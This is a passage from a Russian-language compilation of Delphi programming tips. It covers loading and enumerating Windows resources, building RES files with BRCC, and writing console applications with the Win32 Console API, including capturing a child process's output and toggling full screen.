    GetLanguage := LANG_ENGLISH;
{$ENDIF}
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  a : array[0..255] of char;
  StrTblOfs : integer;
begin
  {Получаем текущий язык системы и начало соответствующих строк в таблице}
  case GetLanguage of
    LANG_ENGLISH : StrTblOfs := 0;
    LANG_SPANISH : StrTblOfs := 16;
    LANG_SWEDISH : StrTblOfs := 32;
  else
    StrTblOfs := 0;
  end;

  {Загружаем и устанавливаем заголовок кнопки "Yes" в соответствии с языком}
  if LoadString(hInstance, StrTblOfs + 1, @a, sizeof(a)) <> 0 then
    Button1.Caption := StrPas(a);

  {Загружаем и устанавливаем заголовок кнопки "No" в соответствии с языком}
  if LoadString(hInstance, StrTblOfs + 2, @a, sizeof(a)) <> 0 then
    Button2.Caption := StrPas(a);
end;
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


How to get all the resource names that are loaded in a given application?

type
  TForm1 = class(TForm)
    Button1: TButton;
    Memo1: TMemo;
    procedure Button1Click(Sender: TObject);
  private
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

function enumResNamesProc(module: HMODULE; restype, resname: PChar;
  list: TStrings): Integer; stdcall;
begin
  if HiWord(Cardinal(resname)) <> 0 then
    list.Add('  ' + resname)
  else
    list.Add(Format('  #%d', [loword(Cardinal(resname))]));
  Result := 1;
end;

Function StockResourceType(restype: PChar): string;
const
  restypenames: Array [1..22] of String =
    ( 'RT_CURSOR', //       = MakeIntResource(1);
      'RT_BITMAP', //       = MakeIntResource(2);
      'RT_ICON',   //       = MakeIntResource(3);
      'RT_MENU',   //       = MakeIntResource(4);
      'RT_DIALOG', //       = MakeIntResource(5);
      'RT_STRING', //       = MakeIntResource(6);
      'RT_FONTDIR',//       = MakeIntResource(7);
      'RT_FONT',   //       = MakeIntResource(8);
      'RT_ACCELERATOR',//   = MakeIntResource(9);
      'RT_RCDATA', //       = MakeIntResource(10);
      'RT_MESSAGETABLE',//  = MakeIntResource(11);
      // DIFFERENCE = 11;
      'RT_GROUP_CURSOR',// = MakeIntResource(DWORD(RT_CURSOR +7DIFFERENCE));
      'UNKNOWN',        // 13 not used
      'RT_GROUP_ICON',  //   = MakeIntResource(DWORD(RT_ICON +DIFFERENCE));
      'UNKNOWN',        // 15 not used
      'RT_VERSION',     // = MakeIntResource(16);
      'RT_DLGINCLUDE',  // = MakeIntResource(17);
      'UNKNOWN',
      'RT_PLUGPLAY',    // = MakeIntResource(19);
      'RT_VXD',         // = MakeIntResource(20);
      'RT_ANICURSOR',   // = MakeIntResource(21);
      'RT_ANIICON'     // = MakeIntResource(22);
    );
var
  resid: Cardinal absolute restype;
begin
  if resid in [1..22] then
    Result := restypenames[resid]
  else
    Result := 'UNKNOWN';
end;

function enumResTypesProc(module: HMODULE; restype: PChar; list: TStrings): Integer; stdcall;
begin
  if HiWord(Cardinal(restype)) <> 0 then
    list.Add(restype)
  else
    list.Add(Format('Stock type %d: %s', [LoWord(Cardinal(restype)),
      StockResourcetype(restype)]));
  EnumResourceNames(module, restype, @enumResNamesProc, Integer(list));
  Result := 1;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  memo1.Clear;
  if not EnumResourceTypes(hinstance, @enumResTypesProc, Integer(memo1.Lines)) then
    memo1.Lines.Add(Format('GetLastError= %8.8x', [GetLastError]))
  else
    memo1.Lines.Add('Successful');
end;

end.

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


256-цветное изображение из res-файла

function LoadBitmap256(hInstance: HWND; lpBitmapName: PChar): HBITMAP;
var
  hPal, hRes, hResInfo: THandle;
  pBitmap: PBitmapInfo;
  nColorData: Integer;
  pPalette: PLogPalette;
  X: Integer;
  hPalette: THandle;
begin

  hResInfo := FindResource(hInstance, lpBitmapName, RT_BITMAP);
  hRes := LoadResource(hInstance, hResInfo);
  pBitmap := Lockresource(hRes);
  nColorData := pBitmap^.bmiHeader.biClrUsed;

  hPal := GlobalAlloc(GMEM_MOVEABLE, (16 * nColorData));

  {  hPal := GlobalAlloc( GMEM_MOVEABLE, ( SizeOf( LOGPALETTE ) +
  (nColorData * SizeOf( PALETTEENTRY )));}
  pPalette := GlobalLock(hPal);
  pPalette^.palVersion := $300;
  pPalette^.palNumEntries := nColorData;

  for x := 0 to nColorData do
  begin
    pPalette^.palPalentry[X].peRed := pBitmap^.bmiColors[X].rgbRed;
    pPalette^.palPalentry[X].peGreen := pBitmap^.bmiColors[X].rgbGreen;
    pPalette^.palPalentry[X].peBlue := pBitmap^.bmiColors[X].rgbBlue;
  end;

  hPalette := CreatePalette(pPalette^);
  GlobalUnlock(hRes);
  GlobalUnlock(hPal);
  GlobalFree(hPal);

end;

end.

Взято с http://delphiworld.narod.ru


Создание RES-файла с помощью BRCC.EXE

Данный метод обходит проблемы, связанные с Image Editor.

В каталоге \DELPHI\BIN имеется утилита коммандной строки, названная BRCC.EXE, позволяющая создавать из файлов, содержащих изображения/иконки, RES-файлы, в обход Image Editor. (Тем не менее, Image Editor хорошо работает при создании или редактировании файлов с изображениями или курсорами. Проблемой был импорт.)

Resource File Compiler описан в справке Windows API help в главе Windows Tools (где вы также можете прочесть о RC.EXE как о BRCC.EXE!). Это сэкономит вам какое-то время!

Сначала, используя Блокнот, создайте файл определения ресурса (Resource Definition) (текстовый) с именем, скажем, MYRES.RC (с обязательным расширением RC). Разместите, каждую на отдельной строке, ссылки на изображения, иконки, и т.п., которые вы хотели бы включить в RES-файл, например:

BITMAP1 BITMAP  <путь><имя файла>
BITMAP2 BITMAP  <путь><имя файла>
CURSOR1 CURSOR  <путь><имя файла>
ICON1   ICON    <путь><имя файла>

Затем (это не обязательно, но сохранит массу времени, особенно если вы экспериментируете), в том же каталоге создайте BAT-Файл, вызывающий программу для компиляции каждого ресурса:
"C:\DELPHI\BIN\BRCC/R %1"

Назовите его, скажем, MAKERES.BAT.

Перейдите в DOS и в каталоге проекта введите "MAKERES MYRES.RC".

Заданные ресурсы будут скомпилированы в новый файл MYRES.RES, который может быть прилинкован к вашему проекту как и прежде. Используйте Image Editor для проверки и редактирования.

Автор: Bob Villiers


Хранение данных в EXE-файле

Вы можете включить любой тип данных как RCDATA или пользовательских тип ресурса. Это очень просто. Данный совет покажет вам общую технику создания такого ресурса.

Type
  TStrItem = String[39];  { 39 символов + байт длины -> 40 байтов }
  TDataArray = Array [0..7, 0..24] of TStrItem;

Const
  Data: TDataArray = (
  ('..', ...., '..' ),  { 25 строк на строку }
  ...                   { 8 таких строк }
  ('..', ...., '..' )); { 25 строк на строку }

Данные размещаются в вашем сегменте данных и занимают в нем 8K. Если это слишком много для вашего приложения, поместите реальные данные в ресурс RCDATA. Следующие шаги демонстрируют данный подход. Создайте небольшую безоконную программку, объявляющую типизированную константу как показано выше, и запишите результат в файл на локальный диск:

program MakeData;
type
  TStrItem = string[39]; { 39 символов + байт длины -> 40 байтов }
  TDataArray = array[0..7, 0..24] of TStrItem;

const
  Data: TDataArray = (
    ('..', ...., '..'), { 25 строк на строку }
    ... { 8 таких строк }
    ('..', ...., '..')); { 25 строк на строку }

var
  F: file of TDataArray;
begin
  Assign(F, 'data.dat');
  Rewrite(F);
  Write(F, Data);
  Close(F);
end.

Теперь подготовьте файл ресурса и назовите его DATA.RC. Он должен содержать только следующую строчку:

 DATAARRAY RCDATA "data.dat"

Сохраните это, откройте сессию DOS, перейдите в каталог где вы сохранили data.rc (там же, где и data.dat!) и выполните следующую команду:
brcc data.rc (brcc32 для Delphi 2.0)
Теперь вы имеете файл data.res, который можете подключить к своему Delphi-проекту. Во время выполнения приложения вы можете генерировать указатель на данные этого ресурса и иметь к ним доступ, что и требовалось.

{ в секции interface модуля  }
type
  TStrItem = string[39]; { 39 символов + байт длины -> 40 байтов }
  TDataArray = array[0..7, 0..24] of TStrItem;
  PDataArray = ^TDataArray;
const
  pData: PDataArray = nil; { в Delphi 2.0 используем Var }

implementation
{$R DATA.RES}

procedure LoadDataResource;
var
  dHandle: THandle;
begin
  { pData := Nil; если pData - Var }
  dHandle := FindResource(hInstance, 'DATAARRAY', RT_RCDATA);
  if dHandle <> 0 then
  begin
    dhandle := LoadResource(hInstance, dHandle);
    if dHandle <> 0 then
      pData := LockResource(dHandle);
  end;
  if pData = nil then
    { неудача, получаем сообщение об ошибке с помощью
    WinProcs.MessageBox, без помощи VCL, поскольку здесь код
    выполняется как часть инициализации программы и VCL
    возможно еще не инициализирован! }
end;

initialization
  LoadDataResource;
end.

Теперь вы можете ссылаться на элементы массива с помощью синтаксиса pData^[i,j].

Автор: Peter Below

Взято с http://delphiworld.narod.ru


Duplicate Resources Error

У вас есть исходный код VCL? Если да, то в этом случае ее можно всю перекомпилировать, добавив каталог к вашему библиотечному пути (Library path) в опциях среды (Environment Options | Library). Я думаю это нужно сделать, чтобы отделаться от этой ошибки. При другом способе необходимо вычислить вызывающую проблему директиву $R, временно удалить ее, и осуществить перекомпиляцию. Временно выключить директиву $R можно добавлением '.' перед $ (но это не единственный путь выключить ее).

Вероятно, вы сабкласситесь от VCL. Убедитесь в том, что идентификатор ресурса для вашей иконки уникальный. Просто загрузите ее в любой редактор ресурсов, и измените ее номер. После этого вы должны пересобрать вашу библиотеку.

Взято с http://delphiworld.narod.ru

Примечание от Vit

В 99% случаев эта ошибка возникает при установке компонента, так как при добавлении компонента к пакету Дельфи автоматически к проекту добавляет и ресурс, если же этот ресурс уже определён в исходном коде компонента то и возникает эта ошибка. Откройте или менеджер проекта или исходный код DPK файла и удалите оттуда ссылку на ресурс, оставив её только в исходном коде компонента.


Консольные приложения

Cодержание раздела:

Как писать консольные приложения в Delphi?
Как использовать консоль в не-консольном приложении?
Как захватить весь вывод в консоли?
Как в консольном приложении можно задать цвет текста?
Переключение консольного приложения в полный экран
Как консольное приложение может узнать, что Винды завершаются?
Как поменять иконку и стpокy в заголовке консольного окна
Как можно гарантированно очистить экран в консольном приложении
CRT для консольного приложения New!
Как запустить консольное приложение и захватить его вывод на экран? New!


Как писать консольные приложения в Delphi?

Автор: Alex G. Fedorov
Все настоящие программисты делятся на три категории: на тех, кто пишет программы, завершающиеся по нажатию F10, Alt-F4, Alt-X. Все остальные принципы деления надуманны.

Статья представляет собой изучение создания консольного приложения в Delphi. Прежде чем начать вникать в подробности, необходимо уточнить, что консольные приложения это особый вид Windows приложений - с одной стороны он имеет полный доступ к функциям Win API, с другой - не имеет графического интерфейса и выполняется в текстовом режиме.

Простая консольная программа

На момент написания статьи (1997г.), в Delphi не было возможности автоматически создавать консольные приложения (возможно на сегодняшний день этот недостаток устранён), поэтому мы создадим пустой файл и поместим в него следующий код:

program ConPrg;
{$APPTYPE CONSOLE}
begin
end.

Затем сохраним этот файл с расширением .dpr - в данном случае conprg.dpr. Далее, его можно загрузить в Delphi (File|Open) и приступить к добавлению кода.

Обратите внимание:

Если Вы запустите вышеприведённую программу, то она немедленно завершится, так как в ней нет никакого рабочего кода.

Для начала, в неё можно добавить строчку readln:

program ConPrg;
{$APPTYPE CONSOLE}
begin
  readln
end.

Вы увидите пустое текстовое окошко, которое закроется, если нажать клавишу Enter.

Идём дальше

Как упоминалось раньше, Вы можете использовать почти любую функцию Win32 API из консольного приложения. Такое приложение очень удобно ещё и тем, что о пользовательском интерфейсе можно вообще не думать, а для вывода информации использовать только пару функций Write/Writeln. Примеров применения консольных приложений великое множество: это и различного вида утилиты, и тестовые программы для проверки работы функций API и т.д. Мы не будет погружаться в примеры того как использовать определённые API, а поговорим только о Консольных API (Console API).

Консольные API (Console API)

Microsoft предоставляет определённый набор функций, которые очень даже полезны при создании консольных приложений. Для начала скажу, что существует по крайней мере два дескриптора (handles), которые связаны с консольным окном. Один для ввода, второй для вывода. Ниже приводятся две небольшие функции, которые показывают, как получить эти дескрипторы.

//-----------------------------------------
// Получение дескриптора для консольного ввода
//-----------------------------------------
function GetConInputHandle : THandle;
begin
  Result := GetStdHandle(STD_INPUT_HANDLE)
end;

//-----------------------------------------
// Получение дескриптора для консольного вывода
//-----------------------------------------
function GetConOutputHandle : THandle;
begin
  Result := GetStdHandle(STD_OUTPUT_HANDLE)
end;

Так же, лучше сразу создать свои функции для таких простых операций как позиционирование курсора, очистки экрана и отображение/скрытие курсора (так как в консольных API они немножко громозки и запутаны). Вот как они выглядят:

//-----------------------------------------
// Установка курсора в координаты X, Y
//-----------------------------------------
procedure GotoXY(X, Y: Word);
begin
  Coord.X := X;
  Coord.Y := Y;
  SetConsoleCursorPosition(ConHandle, Coord);
end;

//-----------------------------------------
// Очистка экрана - заполнение его пробелами
//-----------------------------------------
procedure Cls;
begin
  Coord.X := 0;
  Coord.Y := 0;
  FillConsoleOutputCharacter(ConHandle, ' ', MaxX * MaxY, Coord, NOAW);
  GotoXY(0, 0);
end;

//--------------------------------------
// Показываем/Скрываем курсор
//--------------------------------------
procedure ShowCursor(Show: Bool);
begin
  CCI.bVisible := Show;
  SetConsoleCursorInfo(ConHandle, CCI);
end;

Как Вы успели заметить, мы воспользовались четырьмя функциями консольного API: GetStdHandle, SetConsoleCursorPosition, FillConsoleOutputCharacter, SetConsoleCursorInfo. Иногда может возникнуть задача определения размера консольного окна по вертикали и по горизонтали. Для этого мы создадим две переменные: MaxX и MaxY, типа WORD:

//--------------------------------------
// Инициализация глобальных переменных
//--------------------------------------
procedure Init;
begin
  // Получаем дескриптор вывода (output)
  ConHandle := GetConOutputHandle;
  // Получаем максимальные размеры окна
  Coord := GetLargestConsoleWindowSize(ConHandle);
  MaxX := Coord.X;
  MaxY := Coord.Y;
end;

Мы даже можем сделать "цикл обработки сообщений" (message loop) - для тех, кто только начинает программировать в Delphi - цикл обработки сообщений необходимо делать, если приложение создаётся в чистом API - при этом необходимы как минимум три составляющие: WinMain, message loop и window proc.

Ниже приведён код "цикла обработки сообщений":

SetConsoleCtrlHandler(@ConProc, False);
Cls;
//
// "Цикл обработки сообщений"
//
Continue := True;
while Continue do
begin
  ReadConsoleInput(GetConInputHandle, IBuff, 1, IEvent);
  case IBuff.EventType of
    KEY_EVENT :
      begin
        // Проверяем клавишу ESC и завершаем программу
        if ((IBuff.KeyEvent.bKeyDown = True) and
        (IBuff.KeyEvent.wVirtualKeyCode = VK_ESCAPE)) then
          Continue := False;
      end;
    _MOUSE_EVENT :
      begin
        with IBuff.MouseEvent.dwMousePosition do
          StatusLine(Format('%d, %d', [X, Y]));
      end;
  end;
end {While}

Так же можно добавить "обработчик событий" и перехватывать такие комбинации клавиш как Ctrl+C и Ctrl+Break:

//-----------------------------------------------------
// Обработчик консольных событий
//-----------------------------------------------------
function ConProc(CtrlType: DWord): Bool; stdcall; far;
var
  S: string;
begin
  case CtrlType of
    CTRL_C_EVENT: S := 'CTRL_C_EVENT';
    CTRL_BREAK_EVENT: S := 'CTRL_BREAK_EVENT';
    CTRL_CLOSE_EVENT: S := 'CTRL_CLOSE_EVENT';
    CTRL_LOGOFF_EVENT: S := 'CTRL_LOGOFF_EVENT';
    CTRL_SHUTDOWN_EVENT: S := 'CTRL_SHUTDOWN_EVENT';
    else
      S := 'UNKNOWN_EVENT';
  end;
  MessageBox(0, PChar(S + ' detected'), 'Win32 Console', MB_OK);
  Result := True;
end;

Чтобы посмотреть всё это в действии, я сделал небольшую демонстрационную программу, которая содержит подпрограммы, приведённые выше, а так же некоторые другие возможности. Далее приведён полный исходный код этого приложения. Наслаждайтесь!

{
[]-----------------------------------------------------------[]
CON001 - Show various Console API functions. Checked with Win95

version 1.01

by Alex G. Fedorov, May-July, 1997
alexfedorov@geocities.com

09-Jul-97 some minor corrections (shown in comments)
[]-----------------------------------------------------------[]
}
program Con001;

{$APPTYPE CONSOLE}

uses
  Windows, SysUtils;

const
  // Некоторые стандартные цвета
  YellowOnBlue = FOREGROUND_GREEN or FOREGROUND_RED or
  FOREGROUND_INTENSITY or BACKGROUND_BLUE;
  WhiteOnBlue = FOREGROUND_BLUE or FOREGROUND_GREEN or
  FOREGROUND_RED or FOREGROUND_INTENSITY or
  BACKGROUND_BLUE;

  RedOnWhite = FOREGROUND_RED or FOREGROUND_INTENSITY or
  BACKGROUND_RED or BACKGROUND_GREEN or BACKGROUND_BLUE
  or BACKGROUND_INTENSITY;

  WhiteOnRed = BACKGROUND_RED or BACKGROUND_INTENSITY or
  FOREGROUND_RED or FOREGROUND_GREEN or FOREGROUND_BLUE
  or FOREGROUND_INTENSITY;

var
  ConHandle: THandle; // Дескриптор консольного окна
  Coord: TCoord; // Для хранения/установки позиции экрана
  MaxX, MaxY: Word; // Для хранения максимальных размеров окна
  CCI: TConsoleCursorInfo;
  NOAW: LongInt; // Для хранения результатов некоторых функций

//-----------------------------------------
// Получение дескриптора для консольного ввода
//-----------------------------------------
function GetConInputHandle : THandle;
begin
  Result := GetStdHandle(STD_INPUT_HANDLE)
end;

//-----------------------------------------
// Получение дескриптора для консольного вывода
//-----------------------------------------
function GetConOutputHandle : THandle;
begin
  Result := GetStdHandle(STD_OUTPUT_HANDLE)
end;

//-----------------------------------------
// Установка курсора в координаты X, Y
//-----------------------------------------
procedure GotoXY(X, Y : Word);
begin
  Coord.X := X;
  Coord.Y := Y;
  SetConsoleCursorPosition(ConHandle, Coord);
end;

//-----------------------------------------
// Очистка экрана - заполнение его пробелами
//-----------------------------------------
procedure Cls;
begin
  Coord.X := 0;
  Coord.Y := 0;
  FillConsoleOutputCharacter(ConHandle, ' ', MaxX * MaxY, Coord, NOAW);
  GotoXY(0, 0);
end;

//--------------------------------------
// Показываем/Скрываем курсор
//--------------------------------------
procedure ShowCursor(Show : Bool);
begin
  CCI.bVisible := Show;
  SetConsoleCursorInfo(ConHandle, CCI);
end;

//--------------------------------------
// Инициализация глобальных переменных
//--------------------------------------
procedure Init;
begin
  // Получаем дескриптор вывода (output)
  ConHandle := GetConOutputHandle;
  // Получаем максимальные размеры окна
  Coord := GetLargestConsoleWindowSize(ConHandle);
  MaxX := Coord.X;
  MaxY := Coord.Y;
end;

//---------------------------------------
// рисуем строку статуса ("status line")
//---------------------------------------
procedure StatusLine(S : string);
begin
  Coord.X := 0; Coord.Y := 0;
  WriteConsoleOutputCharacter(ConHandle, PChar(S), Length(S)+1, Coord, NOAW);
  FillConsoleOutputAttribute (ConHandle, WhiteOnRed, Length(S), Coord, NOAW);
end;

//-----------------------------------------------------
// Консольный обработчик событий
//-----------------------------------------------------
function ConProc(CtrlType : DWord) : Bool; stdcall; far;
var
  S: string;
begin
  case CtrlType of
    CTRL_C_EVENT: S := 'CTRL_C_EVENT';
    CTRL_BREAK_EVENT: S := 'CTRL_BREAK_EVENT';
    CTRL_CLOSE_EVENT: S := 'CTRL_CLOSE_EVENT';
    CTRL_LOGOFF_EVENT: S := 'CTRL_LOGOFF_EVENT';
    CTRL_SHUTDOWN_EVENT: S := 'CTRL_SHUTDOWN_EVENT';
    else
      S := 'UNKNOWN_EVENT';
  end;
  MessageBox(0, PChar(S + ' detected'), 'Win32 Console', MB_OK);
  Result := True;
end;

{
[]-----------------------------------------------------------[]
Основная программа - показывает использование некоторых подпрограмм
а так же некоторых функций консольного API
[]-----------------------------------------------------------[]
}
var
  R: TSmallRect;
  Color: Word;
  OSVer: TOSVersionInfo;
  IBuff: TInputRecord;
  IEvent: DWord;
  Continue: Bool;

begin
  // Инициализация глобальных переменных
  Init;
  // Расположение окна на экране
  {!! 1.01 !!}
  with R do
  begin
    Left := 10;
    Top := 10;
    Right := 40;
    Bottom := 40;
  end

  {!! 1.01 !!}
  SetConsoleWindowInfo(ConHandle, False, R);
  // Устанавливаем обработчик событий
  SetConsoleCtrlHandler(@ConProc, True);
  // Проверяем обработчик событий
  GenerateConsoleCtrlEvent(CTRL_C_EVENT, 0);
  // Изменяем заголовок окна
  SetConsoleTitle('Console Demo');
  // Прячем курсор
  ShowCursor(False);
  Coord.X := 0; Coord.Y := 0;
  // Устанавливаем белый текст на синем фоне
  Color := WhiteOnBlue;
  FillConsoleOutputAttribute(ConHandle, Color, MaxX * MaxY, Coord, NOAW);
  // Console Code Page API is not supported under Win95 - only GetConsoleCP
  Writeln('Console Code Page = ', GetConsoleCP);
  Writeln('Max X=', MaxX,' Max Y=', MaxY);
  Readln; // ожидаем ввода пользователя
  Cls; // очищаем экран
  ShowCursor(True); // показываем курсор

  // Use some Win32API stuff
  OSVer.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  GetVersionEx(OSVer);
  with OSVer do
  begin
    Writeln('dwMajorVersion = ', dwMajorVersion);
    Writeln('dwMinorVersion = ', dwMinorVersion);
    Writeln('dwBuildNumber = ', dwBuildNumber);
    Writeln('dwPlatformID = ', dwPlatformID);
  end;

  // ожидаем ввода пользователя
  Readln;
  // Удаляем обработчик событий
  SetConsoleCtrlHandler(@ConProc, False);
  Cls;

  // "Цикл обработки сообщений"
  Continue := True;
  while Continue do
  begin
    ReadConsoleInput(GetConInputHandle, IBuff, 1, IEvent);
    case IBuff.EventType of
      KEY_EVENT :
        begin
          // Проверяем клавишу ESC и завершаем программу
          if ((IBuff.KeyEvent.bKeyDown = True) and
          (IBuff.KeyEvent.wVirtualKeyCode = VK_ESCAPE)) then
            Continue := False;
        end;
      _MOUSE_EVENT :
        begin
          with IBuff.MouseEvent.dwMousePosition do
            StatusLine(Format('%d, %d', [X, Y]));
        end;
    end;
  end {While}
end.

Взято с http://delphiworld.narod.ru


Как использовать консоль в не-консольном приложении?

Для того, чтобы добавить в не-консольное приложение ввод/вывод из консоли, необходимо воспользоваться функциями AllocConsole и FreeConsole.

Пример:

procedure TForm1.Button1Click(Sender: TObject);
var
   s: string;
begin
  AllocConsole;
  try
    Write('Type here your words and press ENTER: ');
    Readln(s);
    ShowMessage(Format('You typed: "%s"', [s]));
  finally
    FreeConsole;
  end;
end;

Взято из http://forum.sources.ru


Как захватить весь вывод в консоли?

unit consoleoutput;

interface

uses
  Controls, Windows, SysUtils, Forms;

function GetDosOutput(const CommandLine:string): string;

implementation

function GetDosOutput(const CommandLine:string): string;
var
  SA: TSecurityAttributes;
  SI: TStartupInfo;
  PI: TProcessInformation;
  StdOutPipeRead, StdOutPipeWrite: THandle;
  WasOK: Boolean;
  Buffer: array[0..255] of Char;
  BytesRead: Cardinal;
  WorkDir, Line: String;
begin
  Application.ProcessMessages;
  with SA do
  begin
    nLength := SizeOf(SA);
    bInheritHandle := True;
    lpSecurityDescriptor := nil;
  end;
  // создаём пайп для перенаправления стандартного вывода
  CreatePipe(StdOutPipeRead,  // дескриптор чтения
             StdOutPipeWrite, // дескриптор записи
             @SA,              // аттрибуты безопасности
             0                // количество байт принятых для пайпа - 0 по умолчанию
             );
  try
    // Создаём дочерний процесс, используя StdOutPipeWrite в качестве стандартного вывода,
    // а так же проверяем, чтобы он не показывался на экране.
    with SI do
    begin
      FillChar(SI, SizeOf(SI), 0);
      cb := SizeOf(SI);
      dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
      wShowWindow := SW_HIDE;
      hStdInput := GetStdHandle(STD_INPUT_HANDLE); // стандартный ввод не перенаправляем
      hStdOutput := StdOutPipeWrite;
      hStdError := StdOutPipeWrite;
    end;

    // Запускаем компилятор из командной строки
    WorkDir := ExtractFilePath(CommandLine);
    WasOK := CreateProcess(nil, PChar(CommandLine), nil, nil, True, 0, nil, PChar(WorkDir), SI, PI);

    // Теперь, когда дескриптор получен, для безопасности закрываем запись.
    // Нам не нужно, чтобы произошло случайное чтение или запись.
    CloseHandle(StdOutPipeWrite);
    // если процесс может быть создан, то дескриптор, это его вывод
    if not WasOK then
      raise Exception.Create('Could not execute command line!')
    else
      try
        // получаем весь вывод до тех пор, пока DOS-приложение не будет завершено
        Line := '';
        repeat
          // читаем блок символов (могут содержать возвраты каретки и переводы строки)
          WasOK := ReadFile(StdOutPipeRead, Buffer, 255, BytesRead, nil);

          // есть ли что-нибудь ещё для чтения?
          if BytesRead > 0 then
          begin
            // завершаем буфер PChar-ом
            Buffer[BytesRead] := #0;
            // добавляем буфер в общий вывод
            Line := Line + Buffer;
          end;
        until not WasOK or (BytesRead = 0);
        // ждём, пока завершится консольное приложение
        WaitForSingleObject(PI.hProcess, INFINITE);
      finally
        // Закрываем все оставшиеся дескрипторы
        CloseHandle(PI.hThread);
        CloseHandle(PI.hProcess);
      end;
  finally
      result:=Line;
      CloseHandle(StdOutPipeRead);
  end;
end;

end.
Взято из http://forum.sources.ru


Как в консольном приложении можно задать цвет текста?

Цвет Текста задается командой SetTextColor(Color), параметр Color - целое число от 0 до 15.
Вывод текста в указанном месте экрана задается командой GotoXY(X,Y,Text).
X,Y-координаты экрана.
Text - переменная типа String.
Ответ 3:
Вот текст модуля, напоминающего про наш любимый ДОС (CRT-like):

unit UffCRT;
// written by Michael Uskoff, Apr 2001, St.Petersburg, RUSSIA

interface

procedure ClrScr;
procedure SetAttr(attr: word);
function GetAttr: word;
procedure GotoXY(aX, aY: integer); // zero-based coords
function WhereX: integer;
function WhereY: integer;

implementation

uses Windows;

var
  UpperLeft: TCoord = (X: 0; Y: 0);
  hCon: integer;

procedure GotoXY(aX, aY: integer);
var aCoord: TCoord;
begin
  aCoord.x := aX;
  aCoord.y := aY;
  SetConsoleCursorPosition(hCon, aCoord);
end;

procedure SetAttr(attr: word);
begin
  SetConsoleTextAttribute(hCon, attr);
end;

function WhereX: integer;
var ScrBufInfo: TConsoleScreenBufferInfo;
begin
  GetConsoleScreenBufferInfo(hCon, ScrBufInfo);
  Result := ScrBufInfo.dwCursorPosition.x;
end;

function WhereY: integer;
var ScrBufInfo: TConsoleScreenBufferInfo;
begin
  GetConsoleScreenBufferInfo(hCon, ScrBufInfo);
  Result := ScrBufInfo.dwCursorPosition.y;
end;

function GetAttr: word;
var ScrBufInfo: TConsoleScreenBufferInfo;
begin
  GetConsoleScreenBufferInfo(hCon, ScrBufInfo);
  Result := ScrBufInfo.wAttributes;
end;

procedure ClrScr;
var fill: integer;
  ScrBufInfo: TConsoleScreenBufferInfo;
begin
  GetConsoleScreenBufferInfo(hCon, ScrBufInfo);
  fill := ScrBufInfo.dwSize.x * ScrBufInfo.dwSize.y;
  FillConsoleOutputCharacter(hCon, ' ', fill, UpperLeft, fill);
  FillConsoleOutputAttribute(hCon, ScrBufInfo.wAttributes, fill, UpperLeft, fill);
  GotoXY(0, 0);
end;

initialization
  hCon := GetStdHandle(STD_OUTPUT_HANDLE);
end.

Теперь можно творить такое:

uses UffCRT;
....
ClrScr;
SetAttr($1E);
GotoXY(32, 12);
Write('Hello, master !');
ReadLn;
...

Взято с сайта http://blackman.wp-club.net/


Переключение консольного приложения в полный экран

{
   There is no documented way to make a console application fullscreen.
   The following code works for both NT and Win9x.
   For win NT I used the undocumented SetConsoleDisplayMode and
   GetConsoleDisplayMode functions.
}

{
 function GetConsoleDisplayMode(var lpdwMode: DWORD): BOOL; stdcall;
   external 'kernel32.dll';
  // lpdwMode: address of variable for current value of display mode
}

function NT_GetConsoleDisplayMode(var lpdwMode: DWORD): Boolean;
type
  TGetConsoleDisplayMode = function(var lpdwMode: DWORD): BOOL;
  stdcall;
var
  hKernel: THandle;
  GetConsoleDisplayMode: TGetConsoleDisplayMode;
begin
  Result := False;
  hKernel := GetModuleHandle('kernel32.dll');
  if (hKernel > 0) then
  begin @GetConsoleDisplayMode :=
      GetProcAddress(hKernel, 'GetConsoleDisplayMode');
    if Assigned(GetConsoleDisplayMode) then
    begin
      Result := GetConsoleDisplayMode(lpdwMode);
    end;
  end;
end;

{
  function SetConsoleDisplayMode(hOut: THandle; // standard output handle
  dwNewMode: DWORD;         // specifies the display mode
  var lpdwOldMode: DWORD    // address of variable for previous value of display mode
  ): BOOL; stdcall; external 'kernel32.dll';
}

function NT_SetConsoleDisplayMode(hOut: THandle; dwNewMode: DWORD;
  var lpdwOldMode: DWORD): Boolean;
type
  TSetConsoleDisplayMode = function(hOut: THandle; dwNewMode: DWORD;
  var lpdwOldMode: DWORD): BOOL;
  stdcall;
var
  hKernel: THandle;
  SetConsoleDisplayMode: TSetConsoleDisplayMode;
begin
  Result := False;
  hKernel := GetModuleHandle('kernel32.dll');
  if (hKernel > 0) then
  begin @SetConsoleDisplayMode :=
      GetProcAddress(hKernel, 'SetConsoleDisplayMode');
    if Assigned(SetConsoleDisplayMode) then
    begin
      Result := SetConsoleDisplayMode(hOut, dwNewMode, lpdwOldMode);
    end;
  end;
end;

function GetConsoleWindow: THandle;
var
  S: AnsiString;
  C: Char;
begin
  Result := 0;
  Setlength(S, MAX_PATH + 1);
  if GetConsoleTitle(PChar(S), MAX_PATH) <> 0 then
  begin
    C := S[1];
    S[1] := '$';
    SetConsoleTitle(PChar(S));
    Result := FindWindow(nil, PChar(S));
    S[1] := C;
    SetConsoleTitle(PChar(S));
  end;
end;

function SetConsoleFullScreen(bFullScreen: Boolean): Boolean;
const
  MAGIC_CONSOLE_TOGGLE = 57359;
var
  dwOldMode: DWORD;
  dwNewMode: DWORD;
  hOut: THandle;
  hConsole: THandle;
begin
  if Win32Platform = VER_PLATFORM_WIN32_NT then
  begin
    dwNewMode := Ord(bFullScreen);
    NT_GetConsoleDisplayMode(dwOldMode);
    hOut := GetStdHandle(STD_OUTPUT_HANDLE);
    Result := NT_SetConsoleDisplayMode(hOut, dwNewMode, dwOldMode);
  end
  else
  begin
    hConsole := GetConsoleWindow;
    Result := hConsole <> 0;
    if Result then
    begin
      if bFullScreen then
      begin
        SendMessage(GetConsoleWindow, WM_COMMAND, MAGIC_CONSOLE_TOGGLE, 0);
      end
      else
      begin
        // Better solution than keybd_event under Win9X ?
        keybd_event(VK_MENU, MapVirtualKey(VK_MENU, 0), 0, 0);
        keybd_event(VK_RETURN, MapVirtualKey(VK_RETURN, 0), 0, 0);
        keybd_event(VK_RETURN, MapVirtualKey(VK_RETURN, 0), KEYEVENTF_KEYUP, 0);
